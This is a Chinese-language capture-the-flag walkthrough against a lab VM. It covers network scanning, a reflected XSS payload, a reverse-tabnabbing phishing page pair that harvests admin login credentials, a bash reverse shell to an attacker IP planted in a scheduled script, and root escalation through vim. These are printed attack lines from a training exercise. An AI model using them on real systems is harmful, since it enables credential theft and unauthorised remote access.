要想玩儿的转,首先得突破固化的思维,当渗透作为固化的思考方式的时候,很难有所突破,固化的姿势加上灵活的思路才有得玩儿。从利用模拟钓鱼来进行信息搜集,最后实现权限获取
信息搜集
探测目标ip地址,用什么工具都可以,看自己兴趣
netdiscover -n 192.168.0.105/24

扫描端口
nmap -A -p- 192.168.0.103

思路
就这种BC的套路,22端口爆破的几率不大,80端口访问一下,发现是登陆页面,这个登录页面,没有cms类型识别,但是能注册

注册账号登录

在框内输入内容之后然后会进行跳转,类似于csrf操作。但是如果访问

直接跳转百度,闭合标签,构造payload,反射型xss
1'></a><script>alert(1)</script>

这个时候以为春天来了,难不成弹cookie然后admin登录么
1'></a><script>alert(document.cookie)</script>

也是想多了。这个cookie是自己的,不是BJ给的。
那么这里想要怎么去利用这个漏洞呢,其实上面的提示已经提示
Please submit your link so that we can get started. All links will be reviewed by our admin
这个时候思路需要广,构造钓鱼页面,等待系统给我们admin的密码,构造登录页面,自动跳转到登录界面,构造两个页面一个首页一个钓鱼页面
fish.html
<!DOCTYPE html>
<html>
<!-- author:Ggoodstudy-->
<body>
<script>
if(window.opener) window.opener.parent.location.replace('http://192.168.0.105:4444/index.html');
if(window.opener!= window) window.opener.parent.location.replace('http://192.168.0.105:4444/index.html');
</script>
</body>
</html>
index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Login</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<style>
body{ font: 14px sans-serif; }
.wrapper{ width: 360px; padding: 20px; }
</style>
</head>
<body>
<div class="wrapper">
<h2>Login</h2>
<p>Please fill in your credentials to login.</p>
<form action="/index.php" method="post">
<div class="form-group">
<label>Username</label>
<input type="text" name="username" class="form-control " value="">
<span class="invalid-feedback"></span>
</div>
<div class="form-group">
<label>Password</label>
<input type="password" name="password" class="form-control ">
<span class="invalid-feedback"></span>
</div>
<div class="form-group">
<input type="submit" class="btn btn-primary" value="Login">
</div>
<p>Don't have an account? <a href="register.php">Sign up now</a>.</p>
</form>
</div>
</body>
</html>


得到的有username和password
username=daniel&password=C@ughtm3napping123
但是是登录失败的,应用失败,但是ssh成功,请求包内的数据竟是经过编码的所以url解码

这个BJ没有flag.txt
水平提权

奈何无法突破文件上传,否则这里可以直接提权到root,可以直接实现垂直提权的

该路径下存在文件,但是不知道能做什么,起码user.txt是打不开的,但是看到py文件感觉像是使用os提权,os模块进行提权,尝试一下

有点儿意思,两分钟执行一下脚本

没成功

为什么想着使用这种思路,我以为是跟ICA1的水平提权一个套路,然而并没有成功,反弹shell执行一下

vim 写入反弹shell
bash -i >& /dev/tcp/192.168.0.105/4444 0>&1
修改脚本


反弹得到shell
垂直提权
接下来垂直提权

vim 有root权限,直接保存的时候执行bin/bash

得到root权限
小结
一波三折吧,BJ也是不要固化思路,经验多的话也是好事,但是解决的过程中也不要固化思路,一条道走到黑并不好。